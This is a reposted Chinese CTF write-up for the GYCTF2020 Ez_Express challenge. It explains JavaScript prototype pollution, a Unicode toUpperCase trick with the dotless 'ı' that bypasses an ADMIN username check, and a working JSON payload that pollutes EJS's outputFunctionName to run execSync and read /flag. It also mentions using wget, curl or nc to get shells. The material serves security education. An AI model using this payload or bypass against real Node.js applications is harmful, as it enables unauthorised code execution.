zoukankan      html  css  js  c++  java
  • [GYCTF2020]Ez_Express

    [GYCTF2020]Ez_Express

    知识点:原型链污染

    原型链的特性:

    在我们调用一个对象的某属性时:

    1.对象(obj)中寻找这一属性
    2.如果找不到,则在obj.__proto__中寻找属性
    3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
    

    以上机制被称为js的prototype继承链。而原型链污染就与这有关

    原型链污染定义:

    如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
    

    举例:

    let foo = {bar: 1}
    console.log(foo.bar)
    foo.__proto__.bar = 2
    console.log(foo.bar)
    let zoo = {}
    console.log(zoo.bar)
    

    结果:

    let foo ={bar:1}
    console.log(foo.bar)
    foo._proto__.bar=2
    console.log(foo.bar)
    let zoo={}
    console.log(zoo.bar)
    1
    1
    

    思路:js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点

    切记一定要让其__proto__解析为一个键名

    byc师傅blog的总结:

    总结下:
    1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始
    2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。
    3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
    

    来做题

    看到提示

    友情提示
    如果您还不是会员,请注册
    
    用户名只支持大写
    
    请使用ADMIN登录
    

    提示我们需要使用admin来登录

    先扫一下,发现有www.zip源码泄露

    image-20200806172142491

    下载源码审一下

    const merge = (a, b) => {
      for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
          merge(a[attr], b[attr]);
        } else {
          a[attr] = b[attr];
        }
      }
      return a
    }
    const clone = (a) => {
      return merge({}, a);
    }
    

    /route/index.js中用了merge()clone(),必是原型链了

    往下找到clone()的位置

    router.post('/action', function (req, res) {
      if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
      req.session.user.data = clone(req.body);
      res.end("<script>alert('success');history.go(-1);</script>");  
    });
    

    需要admin账号才能用到clone()

    于是去到/login

    router.post('/login', function (req, res) {
      if(req.body.Submit=="register"){
       if(safeKeyword(req.body.userid)){
        res.end("<script>alert('forbid word');history.go(-1);</script>") 
       }
        req.session.user={
          'user':req.body.userid.toUpperCase(),
          'passwd': req.body.pwd,
          'isLogin':false
        }
        res.redirect('/'); 
      }
      else if(req.body.Submit=="login"){
        if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
        if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
          req.session.user.isLogin=true;
        }
        else{
          res.end("<script>alert('error passwd');history.go(-1);</script>")
        }
      
      }
      res.redirect('/'); ;
    });
    

    可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到

    'user':req.body.userid.toUpperCase(),

    这里将user给转为大写了,这种转编码的通常都很容易出问题

    参考p牛的文章

    Fuzz中的javascript大小写特性

    https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

    注册admın(此admın非彼admin,仔细看i部分)

    特殊字符绕过

    toUpperCase()

    其中混入了两个奇特的字符"ı"、"ſ"。

    ​ 这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。

    toLowerCase()

    这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.

    有一个输入框 你最喜欢的语言,还有提示flag in /flag

    登录为admin后,就来到了原型链污染的部分

    找污染的参数

    router.get('/info', function (req, res) {
      res.render('index',data={'user':res.outputFunctionName});
    })
    

    可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的

    res.outputFunctionName=undefined;
    

    也就是可以通过污染outputFunctionName进行SSTI

    于是抓/action的包,Content-Type设为application/json

    payload

    {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
    

    image-20200806190730140

    然后/info路由,下载到flag

  • 相关阅读:
    easyexcel: The maximum length of cell contents (text) is 32,767 characters
    分库分表情况下添加索引
    如何保证消息顺序执行(Rabbitmq/kafka)
    MySQL Boolean类型的坑
    Redis居然还有比RDB和AOF更强大的持久化方式?
    ThreadLocal的应用场景和注意事项有哪些?
    spring boot 设置tomcat post参数限制
    并发慎用——System.currentTimeMillis()
    Java多线程中static变量的使用
    临时修改session日期格式冲突问题
  • 原文地址:https://www.cnblogs.com/LEOGG321/p/13448463.html
Copyright © 2011-2022 走看看